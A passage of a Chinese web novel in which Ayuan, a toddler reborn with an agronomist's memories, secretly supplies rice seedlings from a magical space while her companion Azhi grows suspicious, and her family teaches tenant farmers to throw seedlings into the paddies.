四周很安静,偶尔有夜鸟从头顶掠过,扑棱棱的振翅声格外清晰。他们就那样守着,仿佛只要盯得够久,女儿就会从那堵墙后面又探出小脑袋来,笑着喊“爹爹娘亲,阿沅回来啦”。
柳氏心里数着数,从一数到一百,又从一百数到两百,墙那边始终没有动静,她的眉头便不由自主地蹙了起来。
杨大儒和孟怀瑾、阿执继续往前走了许久,直至靠近山脚,道路拐弯的时候才回过头,天色太暗沉,又距离有点远,看不见来人。
杨大儒走在最前面,虽是上了年纪,脚步倒还稳健。孟怀瑾跟在他身侧,时不时扶他一下,这时候都驻足回头望一眼。
阿执落在最后,脚步无声,没人知道他一双眼睛却在暗色里格外亮。
来路已经淹没在沉沉夜色里,只能隐约看见远处几点灯火,那是庄子里的光亮。至于孟大川他们三个人,早就和黑暗融为了一体,哪里还分辨得出。
杨大儒有点担心,“杨大人腿脚不便,阿沅又年幼,别不是轮椅陷入了泥坑里。阿执你去看看。”
他想起了白日里走过的那些泥泞路段,坑坑洼洼的,轮椅的窄轮子陷进去可不好出来。
阿沅又那么小,才三岁的娃娃,万一磕着碰着可怎么好,兴许也走不动了呢。他转头看向孟怀瑾,“怀瑾啊,要不咱们还是回去接应一下。”
孟怀瑾也有点担心,提议道:“要么从原路返回吧!只是这么走会稍远一些。”本来往前再绕个小圈就能够回到他们所住的宅院,原路返回的话多了一半距离不止。
他只想着父亲身边有暗卫暗中护着,安全是无虞的,可这心里还是忍不住挂念。特别是阿沅那丫头,平日里活蹦乱跳的,这会儿天都黑透了,小姑娘家家的,别吓着了。
他往前迈了一步,又顿住,扭头看了看杨大儒,等着先生拿主意,若是原路返回,又怕先生累着。
阿执微眯双眼,眼神锐利,如同鹰眼。看向刚才跟阿沅分别时的位置。那里夫人推着杨大人的身影依稀可见,却少了那道小小的矮矮的身影。
他的目光穿透夜色,像一只盘旋在高空的鹰隼,牢牢锁定着来路的方向。视力异于常人的他,能看见常人看不见的细节。
他看见柳氏推着轮椅的轮廓,看见孟大川端坐的身形,唯独没有看见那道小小的、应该在他们身边跑来跑去,或是趴在洋大人膝前的身影。
他的瞳孔微微收缩,目光在那一片区域来回扫视,不放过任何一个角落。那两个人影是静止的,都侧着身子,面朝着同一方向——那堵高高的围墙,如同两座雕像,一动不动。
阿执的眉头几不可见地动了动。这姿态不对。若是轮椅真的陷入泥坑,他们应该低头查看,或者四下张望寻求帮助,而不是这样齐齐整整地侧身望向同一个地方,而且那么久纹丝不动。
若是阿沅出了什么状况,夫人神态应该焦急,或是挥手大声向他们求救才对。
他们就像是在守望着什么,又像是在等待着什么。那堵围墙黑黢黢地立在那里,墙体在夜色里泛着冷光,墙头上什么都没有,围墙下也不见小小的身影。
可为什么两个人都盯着那里?阿执的心念电转,面上却不动声色。
“那就往回走吧!”猛然听到杨先生的赞同,站在两人身前的阿执猛然张开双手拦住他们,“许是大人和夫人刻意和我们保持距离也不一定,还是无需打扰,再等等吧。”
他的动作很突然,两条手臂横在杨大儒和孟怀瑾身前,拦得结结实实。声音压得低,语气却很笃定。他不能让他们过去,至少现在不能。
大人和夫人守在那里,必然有他们的道理。
阿沅的消失,这其中必有蹊跷。若是贸然带人过去,说不定会坏了什么事。
他不知道自己为何要这样说,只是凭着本能做出了反应,话一出口,自己心里也微微怔了一下。
看到两人还在犹豫,阿执阴使神差又来一句,加以阻拦,“先生腿脚不便,不如和师兄先站着歇歇,学生过去看看即可。”
他说完不等两人应答,转身就走。走出去几步,又想起什么似的放慢了步子,改成慢吞吞地踱步,一步一步往前挪。这样一来,既不会离他们太远,又可以拖延时间。
他的眼睛一直盯着那堵围墙的位置,余光却注意着轮椅方向周围的动静。他在等,等那道小小的身影再次出现。
阿沅哪去了?
第122章 暗卫的身手达到了如此地步
这念头一冒出来就压不下去。那丫头古灵精怪的,平日里就爱爬高上低,可再怎么淘气,也不会黑灯瞎火地一个人跑到那墙头上去。
她是怎么上去的?那么高的墙,大人爬上去都费劲,她一个三岁的小娃娃,腿才多长?除非……除非是有人带着她上去的。
见过她扎马步,可若说是练出了点什么,还真没有。最多就是脚步稳了些,走路快了些。
他心里又埋怨:大人和夫人对阿沅也太放任了些,这黑灯瞎火的,宅院那边都已经掌了灯,怎么还让暗卫架着阿沅出去?还玩呢?
他想起刚才分别时阿沅那双亮晶晶的眼睛,笑得弯弯的,一点害怕的样子都没有。那丫头胆子是大,可大人和夫人也真是心宽,这天都黑透了,还由着她胡闹。
暗卫们身手好,夹着一个人飞檐走壁不在话下,可阿沅毕竟还小,万一吓着了怎么办?万一没夹稳,摔着了怎么办?
是了,肯定是了。阿沅好玩,肯定是央求爹娘,让暗卫架着飞出去玩了。
这念头一冒出来,阿执自己都觉得合理。阿沅那性子,最是贪玩好动,在宅子里待不住,成天就想着往外跑。
即使跟他在一起,自己跟她也没几句话。她小嘴就没停过,叽叽喳喳问这问那,特别是这两天到了热流庄,看见蝴蝶要追,看见野花要采,茅草都要拔上几根,新鲜得不得了。
这会儿肯定是玩疯了,舍不得回去,就央求爹娘让暗卫带着她飞出去再玩一会儿。
真是淘气!他也想飞越过那道围墙,也想一个人架着阿沅飞,然后听她银铃般咯咯咯的欢乐笑声,但却知道此刻不能。
话说,进入空间的阿沅一点都不敢停留,生怕爹爹和娘亲在外面等久了,也确实担心先生和哥哥们会回头。
马上意念着铲秧外移,百亩密密匝匝的秧苗,秧苗田和大田按1:8的比例种植,需要移出热流庄的不过七八亩秧苗,移出来还不能压着,全部单层铺开,也幸亏这片草地够大,不然都摊不完。
意念一动,那些秧苗便齐刷刷地从田里移了出来,根部带着湿漉漉的泥土,整整齐齐地落在外面的草地。
她认认真真估算着,十亩地的一片地,折腾出来七八亩的时候停下来,歪着脑袋看了看,觉得差不多够了,又多铲了大概十几平方,这才拍拍小手,满意了。
“好了,爹爹娘亲,我回来啦。”一道稚嫩的童音响起,阿执才猛然惊觉自己看着那堵围墙已经出了神,同时诧异围墙上刚刚出现,又忽然失踪的小小身影。
那声音软软糯糯的,像是沾了蜜糖的糯米糕,甜丝丝的,还带着点奶音,跟平时没什么两样。
阿执浑身一震,猛地回过神来,目光如电般射向那堵围墙以及周边。
就在那一瞬间,他看见一道小小的黑影在墙头一闪,快得像夜鸟掠过水面,连个完整的轮廓都没能捕捉到,只来得及瞥见那短短的一瞬,然后一切归于平静,墙头上空空荡荡,仿佛刚才那一幕只是他的幻觉。
可他分明听见了阿沅的声音,分明看见了那道小影子。他的心跳漏了一拍,又猛地剧烈跳动起来。
“快点过来!”垂着柳氏的一声回应,声音都未落,却又听见了撒娇的软糯声音。“爹爹!好了。”声音的方向转换太快。
阿执循声望去,就看见远处那三个人影已经凑在了一起。阿沅正趴在孟大川的膝盖上,两条小短腿悬空晃悠着,小脑袋埋在父亲怀里蹭来蹭去,嘴里嘟嘟囔囔说着什么,声音软得能掐出水来,“爹爹爹爹,”
一边说一边把小脸往父亲袍子上蹭,跟只撒娇的小奶猫似的,蹭得孟大川衣襟都皱了。孟大川伸手抚着她的小脑袋,一向严肃的脸上露出慈爱的笑意。
几乎同一时间,出现在不同位置的两道小小身影他确定都是阿沅的。因为刚才阿沅的声音就先出现在围墙上,身形也不会错。
阿执站在原地,目光在那堵空荡荡的围墙和远处阿沅趴着撒娇的身影之间来回移动。他心里很清楚,他刚才看见的绝对不是幻觉。
可她怎么能在同一时间出现在两个地方?从围墙到杨大人那里,中间隔着少说七八丈,就算是武功了得的他全力飞奔,也得喘几口气的功夫。
可那丫头,明明刚才还在墙头,下一瞬就到了大人膝上。这中间,她是怎么过去的?除非……
阿执没有继续向前走,而是静静地看着那三人的模糊身影,心里已经起了狐疑。
他就那么站着,一动不动,像一截枯木桩子,眼睛却始终没有离开那个方向。夜风吹动他的衣摆,他也浑然不觉。
远处那三道身影已经凑到了一处,然后轮椅扭转了方向,往他们这边而来。推着轮椅的人,还有趴在膝上扭来扭去的小团子,一切都那么平常,平常得就像任何一个普通人家暮色归来的场景。
可阿执知道,这不平常。刚才那一幕,那道凭空出现的墙头身影,那声清脆的呼唤,还有那快得不可思议的移动,都透着说不出的古怪。
孟家有不少暗卫护卫保护,他是察觉得到的,但真没想到那么强。他们居然可以夹着阿沅瞬间移动,移动的轨迹也太隐秘了,纵然他眼神是有穿透力的,也连一丝光影都看不到。
这些暗卫的身手竟然已经到了如此匪夷所思的地步。夹着一个人还能瞬间移动那么远的距离,移动的时候连一丝痕迹都不露,连他这样自诩目力过人的都捕捉不到半点踪影。
这得是多高的修为?那些暗卫平日里究竟藏在何处?他们究竟还有多少本事是他不知道的?
夜风里传来阿沅咯咯的笑声,清脆脆的,阿执却觉得那笑声里似乎藏着他看不懂的东西。他站在原地,久久没有挪动脚步,静等他们的到来。
第123章 秧苗欺负我
翌日,太阳还没晒屁股,阿沅的房间里便炸开了锅。
莲花一阵风似的冲进来,嗓门大得能把屋顶掀了:“小姐,快起来!昨晚秧苗全拉到啦!”
红袖手里还攥着阿沅的外衣,讲话也很急促:“天没亮庄头就招呼人开始拉秧苗,板车都不够用,田埂上都摆满了!
有些佃农等不及,天不亮就挽了裤腿下田插秧,黑妞他们几个想拦都拦不住,急得在田埂上直跳脚!”
阿沅被这突如其来的喧闹从睡梦中拽了出来。她揉着惺忪的睡眼,迷迷糊糊地听完了两个丫头的禀报,瞬间清醒过来。
三下两下换掉身上的睡衣,套了件利落的短打,又胡乱洗了把脸,便迫不及待地往院门口跑。当她的脚丫子踩在院门的青石板上时,整个人忽然顿住了——
清晨的风带着稻田特有的湿润气息扑面而来,远处靠近小溪和蓄水池边的稻田,黑压压的人头攒动。
田埂上、水田里,到处都是忙碌的身影,吆喝声、说笑声、水花溅起的声响混杂在一起,竟比集市还热闹几分。
阿沅瞪大眼睛望着这一幕,心里涌起一股难以言喻的激动。这种感觉,比她当年——不,比她前世在实验室里培育出优良稻种时还要高兴。
那些冷冰冰的显微镜和数据,怎么比得上眼前这热火朝天的生命气息?
“娘亲?她怎么也来了?!”
阿沅的视线忽然定格在人群中的一个身影上,惊得差点咬到自己的舌头。
半辈子被拘束在高宅后院的大家闺秀、高门主母,此刻竟然站在黑丫、大牛二牛和一群佃农中间。
她穿的虽不是佃农们那种方便耕作的粗布短打,却也是一身利落的细棉布薄衫,裤腿高高挽起,露出一截白皙纤细的小腿。
最让阿沅目瞪口呆的是,她居然光着脚,白生生的脚丫踩在田埂的湿泥里,正温声细语地教着身边的佃农如何抛秧,用的正是自己原本说过的方法。
“对,就跟你们往年插秧一样,也是六七根秧苗一撮。”柳氏的声音轻柔温和,带着宅院妇人特有的软糯,她示范着将手中的秧苗往近处的稻田轻轻一抛,“抛高一些,扎根就会更深。你们瞧——”
她扬手一抛,秧苗在空中划出一道优美的弧线,“噗”地落入水田,溅起几点泥水。只是力道确实小了些,落点离田埂不过三尺,不过还算稳当。
站在一旁的秀姑和翠姑对视一眼,笑着上前帮忙,干脆利落地示范起来。秀姑手臂一扬,秧苗“嗖”地飞出去老远,稳稳当当扎进泥里;翠姑也不甘示弱,连抛三把,把把都落在一条直线上,溅起的水花在晨光里闪着细碎的光。
佃农们看得眼睛都直了,有人忍不住叫好。
“看清楚了没?看清楚了你们散开些,别都扎堆在这儿。”黑丫扯着大嗓门开始指挥,把一拨人往旁边的稻田带。
“对,就这么抛!但得抛均匀些,别有的地儿挤成一团,有的地儿光秃秃!”她边说边示范,红豆和绿果也跟在后面现学现教。跟着她们的佃农大多是妇女,一个个学得认真,眉眼间都带着笑。
“半大小子都过这边来!”大牛突然扯着嗓子吼了一声,那架势跟打仗时发号施令似的,“跟着我们学!都看着点,抛出去的力道是关键——别被娘儿们比下去了,那可就丢人丢大发了!”
二牛在旁边配合默契,也跟着咋呼,两人你一言我一语,硬是带着比赛的口吻,把另一群半大小子招呼走了。那群少年郎被激得嗷嗷叫,有的提了秧苗,挽着裤腿就往田里冲,溅起的泥水糊了彼此一脸,引得一阵笑骂。
“大家也别急着往自家田里抛,”孟柒不知从哪儿冒出来,一本正经地站在田埂上指点江山,“先看会儿,琢磨琢磨。注意比对这两块田的水量——瞧见没?水太多秧苗容易浮起来,扎不下根。”
说着说着,他忽然觉得这抛秧还挺有意思,又见田里热火朝天,便有些按捺不住。便服袖子挽到手肘,不看那张脸的时候,倒真有几分老把式的模样。
便衣护卫和暗卫们使了个眼色,那群人便三三两两散开,各自领着几户佃农,学着样子开始抛秧。
只是这些平日里舞刀弄枪的大老爷们,这会儿捏着秧苗的样子怎么看怎么别扭,有的一使劲把秧苗捏断了,有的一抛出去连泥带水甩了自己一脸,惹得佃农们笑得直不起腰,反而反过来教他们。
“小姐,地里脏,您还是别下去了。”红袖眼疾手快,一把拉住已经蹭掉布鞋、光着脚丫子就要往柳氏那边跑的阿沅。
莲花却早就忍不住了,穿着比阿沅身上还要短的短打,就往黑丫那边跑去,边跑边回头朝阿沅挥了挥手。
“我教他们!我抛秧!”阿沅使劲扭着身子想挣脱红袖的手,小脚丫在泥地里踩了又踩,泥巴从脚趾缝里挤出来,凉丝丝滑溜溜的。
可她还没来得及迈出第二步,整个人忽然腾空了——
一双大手从背后把她抱了起来。
“阿沅,先生和大人找你。”阿执的声音从头顶传来,带着几分无奈的笑意。
阿沅的小身子在他臂弯里扭啊扭啊扭,像条不老实的小泥鳅。她知道阿执是想把自己支开,才不信什么理由!
嘴里便一个劲儿地嚷:“我要种地!我要插秧!”声音又软又糯,却倔得很。
笑话!她堂堂农学博士、实验室里的高尖人才,今天特意跑来就是来教人种地的,不亲手做一下示范怎么行?虽然她现在只是三岁小娃的身体,但那股子专业自豪感可一点没少。
“那阿执哥哥跟你一起。”阿执见她坚持,知道拗不过,又实在不想让她踩在那些深浅莫测的泥泅里,只好抱着她越过一道田埂,在离柳氏不远的地方站定。
他小心翼翼地把阿沅放下来,自己先踩进田边的浅水里试了试深浅,这才让她站在自己身边的田埂上。
“我抛秧!”阿沅小身子一蹲,盯着一块连土铲起来的秧苗,伸出两只小肉手就要去提。她以前种试验田时,七八斤重的一盘秧苗,她轻轻松松就能一提一翻,放在臂弯里,一次抛上一盘都不带歇的。可现在——
“小姐,太重啦!”红袖站在田埂上,看着阿沅憋红了小脸也没能把那块秧苗提起来,忍不住眯着眼睛笑。
“我可以的!”阿沅不服气,咬着下唇又试了一次。这回倒是提起来几根,只是用力过猛,秧苗齐根断了,短短几截可怜巴巴地摊在她沾满泥的小手掌上,耷拉着叶子,像在嘲笑她似的。
阿沅瞪着那几根断苗,小脸垮了下来:“秧苗欺负我!”
她气呼呼地把断苗往地里一撒,在旁人看来,就是一个三岁小娃在跺着脚发脾气。可只有她自己知道,那股子挫败感有多强烈——从前得心应手的事,现在连想都不用想了。
好丢脸!
第124章 水上漂。
阿沅有点恼羞成怒,直起身子想找人撒气,圆圆的大眼睛瞪来瞪去,最后瞪上了阿执那双漂亮的丹凤眼。可那双眼睛此刻正温柔地看着她,里面盛满了笑意和纵容,让她想气都气不起来。
“阿沅还小呢!”阿执已经蹲下身,左手稳稳托起一块秧苗,“给,跟哥哥共用一块。”他细声细气,语气轻柔得像在哄一只炸毛的小猫。
他学着刚才看到的样子,用右手轻轻捏着泥土边缘,小心地分开一小撮还沾着湿泥的秧苗。
“喏!阿沅抛这一块。”他把那撮秧苗轻轻放到阿沅小小的掌心里,抬眼看她,眼神示意她往前抛。
阿沅盯着掌心里那撮嫩绿的秧苗,刚才的沮丧一下子被抛到了九霄云外。她咧开嘴,露出几颗小米牙,还不忘仰头甜甜地道谢:“谢谢阿执哥哥!”
然后,她深吸一口气,鼓足了劲儿,照着想要教别人的动作,无比自信地挥动小胳膊——
“咚!”
秧苗确实抛出去了,也确实落到了蓄满水的稻田里。
只是……
没有抛物线。
落点不过两尺开外。
而且——那撮秧苗就那么漂在水面上,几根嫩绿的叶子颤巍巍地晃了晃,稳稳当当地浮着,像一艘迷你的小船。
“噗呲——”
跟在后面的红袖没忍住,脱口而出的笑声像银铃一样在晨风里飘荡。
阿沅的脸“腾”地红了。
她盯着那撮漂在水面上的秧苗,恨不得整个人钻进泥里去。这也太丢人了!
好歹也是农学博士,抛个秧抛成水上漂,这要是传回原来的世界,她那些同事非得笑掉大牙不可。水都没溅上来一滴,如果不是手上还沾着泥,她真想捂脸。
“阿沅已经很厉害了。”阿执看出她脸上的窘迫,连忙轻声哄道,还把脸贴到了她的脸上,闻到了淡淡的甜香。
他手里还捏着本来要再递给阿沅的另一撮秧苗,犹豫了一下,也学着轻轻往前一抛:“阿执哥哥手劲都没够大呢!你看——”
同样没有抛物线,只是比抛得远了许多,秧苗歪歪斜斜地落进田里,溅起几滴水花。他故意放慢了动作,好让阿沅看清——他也没抛好。
但阿沅又不傻,这明显作弊的动作骗得了谁?
她撅着小嘴,抬起头,视线越过田埂,落在已经踩进稻田中央的自家大哥身上。
孟怀瑾此刻站在稻田最深处,水没到他的小腿肚。他左手托着一块秧苗,正跟身边的一个护卫和两个佃农说着什么。只见他微微侧身,手臂一扬,秧苗“嗖”地飞出去,在空中划出一道漂亮的抛物线,“噗”地落入远处的水面,溅起一小片水花。
紧接着,他又换了方向,朝另一边抛出一撮,同样是那么稳、那么准。四个人分别朝向四个不同的方向,像是在田里画了个大圆。
“土地太大的话就要变通一点,”孟怀瑾的声音远远传来,带着几分说教的意味,“省得浪费了秧苗还种不好。你们看,从中间往外抛,四面都能照顾到,比从田埂往里面抛均匀多了。”
“哥哥抛得真好!”阿沅看了会儿,眼睛渐渐亮起来,刚才的沮丧一扫而空。她拍起小手,使劲给哥哥鼓劲,“跟伯伯抛得不相上下!”
自己不行,就让行的人来——这有什么错嘛!
只是她真没想到,平时只知道抱着书啃的哥哥,居然也能有这样的能耐。抛起秧来有模有样,秧苗掷地有声,不偏不倚,虽然没能做到像插秧那样横平竖直整整齐齐,但已经均匀得相当不错了。那些秧苗落在水田里,像一个个训练有素的士兵,各自找到了自己的位置。
“阿沅知道这些秧苗是从哪里拉来的吗?”阿执依然蹲着身子,把手上剩余的秧苗轻轻放回田埂上,忽然冒出这么一句。
孟沅心里“咯噔”一下。
她大大的眼睛瞪向蹲在身边的漂亮哥哥,看清了他眼里的疑问。但只是一瞬间,她就镇定下来。然后,她仰起脸,冲他露出一个甜甜的笑容,眉眼弯弯,天真无邪:“打不了仗的叔叔伯伯种的。”
每个庄子里,爹娘本来都安置了不少退伍的老兵——那些断了手脚的、生活不便的、孤寡无依的。至于具体种在哪里,她不说也无妨。反正她只是个三岁小娃,不知道也好,含糊其辞也好,都能糊弄过去。
阿执望着她那天真烂漫的笑脸,心底的狐疑一点都没减。
天没亮,庄子就开始热闹起来,嘈杂声把他从睡梦中吵醒。他也曾披衣出去看过——围墙外的草地上,一板车一板车的秧苗正往里拉。可奇怪的是,昨天下午明明还是空荡荡的草地,今早起来就摆得到处都是秧苗,而且他没看见一个车辙印,那些秧苗像是平白无故出现的一般。
难道孟家连运送秧苗都用起了轻功?那得多少人才能完成?
昨天傍晚阿沅从围墙出去,是为了看装卸秧苗么?可他为什么没听到一点动静?他的人也没报告任何异样……
“阿执哥哥!”阿沅可不想给他那么多思考的时间。她干脆伸出两只沾满泥的小脏手,往他的肩膀上攀,“我们去捉鱼吧!那边溪水里肯定有鱼,说不定还有田螺呢!”
她眨巴着大眼睛,一脸期待地望着他。
反正她在这儿只会帮倒忙——抛秧抛成水上漂,提苗提断根,还不如找点乐子呢!爹爹和杨大儒都在不远处压阵,有那么多人在,田里的活儿肯定能做好。她嘛,就在旁边玩玩好了。
阿执看着眼前这张沾了点泥巴的小花脸,又看看她那亮晶晶的眼睛,刚才那点疑虑不知不觉就散了。
他轻笑一声,伸手把阿沅抱了起来:“好,阿执哥哥带你去捉鱼。”
阿沅搂着他的脖子,小脑袋往他肩上一靠,偷偷咧开嘴笑了。
第125章 割伤了脚
没想到捡个田螺,还能被割伤脚——这实在是阿沅怎么也预料不到的倒霉事。
她方才不过是瞧见田埂边有个指节大小的螺,亮晶晶地泛着光,便兴冲冲地跑过去蹲下身,谁知脚底踩上一块尖厉的石头,那石头也不知是怎么长的,偏偏有个锋利的棱角朝上,一下子便划破了脚掌。
破的其实也就是层皮,渗出几颗血珠子,说重不重,她自个儿都觉得没啥,擦点药,穿上鞋就没事了,可阿执的反应却大得吓人。
阿执那张素来沉稳的小脸一瞬间就变了色,仿佛她不是划破了脚,而是被什么毒物咬了一口似的。他二话不说,将她抱起来放到田埂上,蹲下身用水抹,动作轻得不能再轻,露出那只白白嫩嫩的小脚丫。
脚掌上那道口子其实也就一指来长,血已经凝住了,可阿执却皱着眉,从怀里摸出不知哪来的小瓷瓶,倒出药粉,厚厚地糊了一层,那药粉是灰褐色的,糊上去把伤口盖得严严实实,还不放心,又解下自己腰间的布带,一圈一圈地缠上去,缠得那叫一个仔细,最后还打了个结结实实的蝴蝶结。
阿沅低头看着自己被缠成粽子的脚,忍不住想笑,可瞧见阿执那副如临大敌的模样,又笑不出来了。
缠好之后,阿执站起身,拍拍手上的灰,然后二话不说,蹲下身,将她背了起来。阿沅愣了愣,想说我可以自己走的,阿执却头也不回,只说了句不许,便背着她稳稳当当地往田埂那头走去。
阿沅趴在他背上,能感觉到他走得格外小心,每走一步都要先看看脚下,生怕颠着她似的。
先是去到孟大川和杨大儒站的位置。孟大川正和杨大儒说着什么,瞧见阿执背着阿沅过来,两人都停了话头。
阿执走到孟大川面前,将阿沅轻轻放下来,扶着她站好,这才垂首道:“是我没看护好阿沅妹妹,请孟大人责罚。”声音不高,可那诚恳的劲儿,任谁都听得出来。
孟大川愣了愣,又看向杨大儒,低头看了看阿沅那只被缠得跟粽子似的脚,一开始还吓了一跳,以为伤得多重呢,连忙将阿沅抱过来,放在自己膝盖上,三下两下解开布带,一看那道口子,登时啼笑皆非:“这点小伤,两天就好了,擦点药就行,绑了反而透不了气,不容易好。”
他说着,抬头看了阿执一眼,眼里有笑意,却没有责怪的意思,也没有重新绑上的意思。
这一天是阿沅穿到这世上来过得最惬意的一天。原主本就是个爱干净、爱臭美的小丫头,平日里就喜欢穿得漂漂亮亮的到处显摆,如今被这么个漂亮哥哥背在背上到处走,那简直是虚荣心暴涨,小脸蛋儿上都是藏不住的笑意。
她趴在阿执背上,搂着他的脖子,一会儿指指东边,一会儿指指西边,阿执便顺着她指的方向走,走走看看,一句不耐烦的话都没有。
一开始阿沅还有点遗憾,没能下去玩泥巴。她瞧见那些佃农的孩子在稻田里跑来跑去,泥巴溅得到处都是,心里痒痒的,可后来看到莲花和红袖从稻田里跳上田埂,又从田埂跳下稻田,一开始以为是在嬉闹,好久才听明白她们是花颜失色。
那是蚂蝗,足有几寸长的蚂蝗,黑黢黢的,软塌塌的从她们小腿上扯落下了,正趴在田埂上蠕动。
莲花尖叫一声,红袖也跟着尖叫,两个人手忙脚乱地拍打着各自的小腿,又拍下两条来。
阿沅趴在阿执背上,瞧见那几条蚂蝗在地上蠕动的样子,只觉得头皮发麻,胸口怦怦直跳,小身子蜷缩,把头埋在他颈窝上,差点没叫出声来。
软体的动物本就是她的忌讳,更何况是丑陋又这么大个儿的。
不单是莲花和红袖,就是因为没下水而没遭殃的柳氏和秀姑、翠姑也吓得够呛。柳氏捂着嘴往后跳了一步,秀姑翠姑两个人脸色都白了。
她们瞧见那些佃农们倒是毫不在乎,就是黑丫和大牛,二牛也不害怕。他们有的从腿上拔下蚂蝗就往别人身上甩,有的挽起裤腿往稻田里跳,故意吸引蚂蝗往自己腿上爬,一个个乐得跟过年似的,这才慢慢镇定下来,退到一边去。
阿沅即使还在阿执的背上,胸口还是怦怦跳个不停。她搂着阿执脖子的手紧了紧,阿执感觉到了,偏过头来,轻声说:“阿沅别怕,你看那些佃农和护卫伯伯,还把捉到蚂蝗当成乐子呢!”
他说着,拍拍她的小屁股,让她看向闹成一团的人群,但最终还是退后了几步。
确实有不怕蚂蝗的,而且好像大多数的人都不怕。有个佃农从脚丫上拔下一条蚂蝗,往旁边一个孩子身上一甩,那孩子非但不躲,反而哈哈大笑着追上去要抢。
还有几个孩子挽着裤腿在稻田里跑来跑去,故意溅起水花,一边跑一边喊:“来呀来呀,来咬我呀!”
旁边一个半大孩子冲着一个大人喊:“大伯,求求你。甩上来,甩上来给我。我穿了晒干,拿去卖钱。”
另一个孩子也跟着起哄:“二伢子,你家近,去偷一把盐来,我们看他们吐血沫!”
庄子里的孩子,果真是司空见惯,七嘴八舌地大声嬉闹,就算是三四岁的小孩童也凑上去过过眼瘾,有的甚至敢上手抓,抓着蚂蝗举得高高的,在太阳底下照着看,不带一点怕的。
阿沅瞧着那些孩子手里的蚂蝗在阳光下扭来扭去,心里又是一阵发毛,赶紧又把脸埋进阿执的脖子里。
阿执其实也有点胆怯。此情此景,他也是第一次见。他背上的阿沅看不见他的脸,若是能看见,便会发现他的脸色也有点发白,可他背上的阿沅正害怕着,他便只能强装镇定,挺直了腰板,稳稳地站着。
红袖和绿果她们洗干净手脚,走过来想要替换着抱一下,或是背一下阿沅小姐,他都不肯,只说“不用,我能背得动。”
他背着阿沅,站得远远的,让阿沅既能看见那些人的热闹,又不至于被吓着,时不时还拍拍她的小屁股,说一两句宽慰的话。
直至到了吃中饭时间,阿沅早已饥肠辘辘。她早上起得晚,又急着出来看抛秧,早饭都没吃,这会儿闻着饭菜香,肚子咕咕叫得跟打雷似的。
坐到桌前,她一口气吃了六个荠菜饺子,又喝了一大碗菌菇肉粥,那小嘴塞得满满的,腮帮子鼓得跟仓鼠似的。
柳氏还要喂她,她连忙摆摆小手,又摸摸自己鼓鼓的小肚子,一本正经地说:“肚子有小宝宝了。”
这话一出,满桌的人都笑了,柳氏笑得直不起腰,孟大川也忍俊不禁,连杨大儒那样不苟言笑的人都捋着胡子笑了起来,阿执也抿着嘴看着阿沅笑。
由于早上抛秧的进程非常顺利,佃农们可说是一看就会。那抛秧的法子本就就容易,佃农们都是种了一辈子地的老把式,学起来自然快得很。
庄头担心秧苗和土地被他们这些主子糟蹋——说是主子,其实也就孟大川一家正经主子,其余的都是客——干脆把他们全都赶走了,让他们别在这儿碍手碍脚。
下午也就没了他们什么事,一行人便回到暂住的院子里歇着。
“阿沅吃了,赶紧睡个午觉。”孟大川抱着阿沅,将她放到床上,替她盖好被子,“起床我们往东庄赶,晚饭就在东庄将就一餐,迟点去往西庄,今晚把秧苗全部卸了。”
他本是计划一天去一个庄子卸秧苗,白天教授抛秧的法子,还有后续的肥田和除草问题,可今日抛秧实在太顺利,他便临时起意,改了行程。
“这样,今晚是辛苦一点,明天可以睡个懒觉,傍晚再泡一次热泉。后天启程回嘉禾庄,那边的种植也不耽误。”他也不商量,直接就把事情定下来了。
阿沅躺在被窝里,点点头。她自然是赞同这种说法的。其实除了热泉,还有更多的绿意,这庄子也没比嘉和庄好多少。
现在脚底受了伤,没办法到处蹦跶,她的玩心也收敛了不少,不如好好睡一觉,养足了精神再说。
可最最让她惦记的,还不是热泉,也不是睡觉,而是空间里的秧苗。
那些秧苗还好好地插在空间的田里呢,若是不及时铲出来移植,到时出来的直接就是稻穗,那可怎么办?
她闭上眼,心里盘算着,这么想着,困意渐渐涌上来,她打了个小小的哈欠,缩在被窝里,不一会儿便睡着了。
梦里没有蚂蝗。
第126章 因我受伤,我带她玩
“姨母,阿沅醒了吗?”
柳氏正从厢房出来,闻言抬头,就见阿执已经穿戴得整整齐齐站在院中,一双眼睛亮得惊人,不知在这等了多久。
少年站得笔直,双手垂在身侧,无比恭顺,又自带贵气。
柳氏弯了弯唇角,声音压得极低:“没呢!你跟师兄去,完全不用理她。”她摆摆手,意思是让他自去玩耍,不必守着个三岁的小丫头。
阿执却摇头,往前走了一步,又怕吵醒屋里人似的顿住,声音也轻下去:“不行,都怪我才受的伤,我背她去玩。”
他说着,目光越过柳氏肩头,落在那扇紧闭的房门上,眉心微微拧着,仿佛隔着一道门都能看见里头小丫头皱巴巴的睡脸。
柳氏忍不住笑出声,又赶紧捂住嘴,半晌才道:“阿执,真的不用。你别老惦记着这事。”
这孩子也是死心眼,阿沅贪玩蹭破点皮,他倒好,跟欠了天大的人情似的,连觉都不肯踏实睡。
“那怎么行?”阿执固执地站在原地,脚尖在地面上轻轻碾了碾,“老呆在床上,阿沅得哭了,我等她。”
屋内,阿沅其实早就醒了。
三岁的小丫头睡得饱足,醒来先是在被窝里伸了个长长的懒腰,两只小脚丫把被子蹬得鼓起来,又慢吞吞翻了个身,把脸埋进软枕里蹭了蹭。
听见外头阿执和娘亲的对话,她睁开一只眼,又闭上,小嘴微微嘟起来,带点起床气的不情愿。
孟沅暗想,这个阿执还真有意思,怎么把一点小事当成天大的罪过背在身上,莫不是有什么企图?
……
外头脚步声渐渐多起来,是孟柒套好了车马,在院外低声禀报。柳氏应了一声,正要转身去收拾,却见阿执已经小跑着跟上去,跳上前头的那辆马车,端端正正坐在角落里,一副“我就待在这儿哪儿也不去”的架势。
阿沅被红豆抱出来时,正撞上阿执的目光。那目光沉沉的,像小大人似的,却又在看见她睡乱的一绺呆**时,飞快地弯了弯嘴角。
孟沅眨眨眼,忽然觉得有点头疼——这孩子好像把自己赖上了,可怎么好?她皱着小眉头,把脸埋进红豆颈窝里,假装没看见。
孟大川和柳氏确实头疼。
原本只打算带几个人,在东庄悄摸摸卸下秧苗,由孟柒等几个护卫示范抛秧,然后赶紧去西庄如法炮制,紧赶慢赶,回热流庄时夜也不该太深。这是早就盘算好的事,人多了反而碍手碍脚。
可如今女儿身边多了个粘人的迷哥哥,这还怎么悄悄行事?
孟大川坐在轮椅上,拇指摩挲着扶手,目光在阿执身上转了一圈。这小子端坐在马车角落,脊背挺直,眼睛却一直往女儿那边瞟,那点小心思简直写在脸上——不就是想守着阿沅,将功补过么?
“瑾儿,愣着干什么?”孟
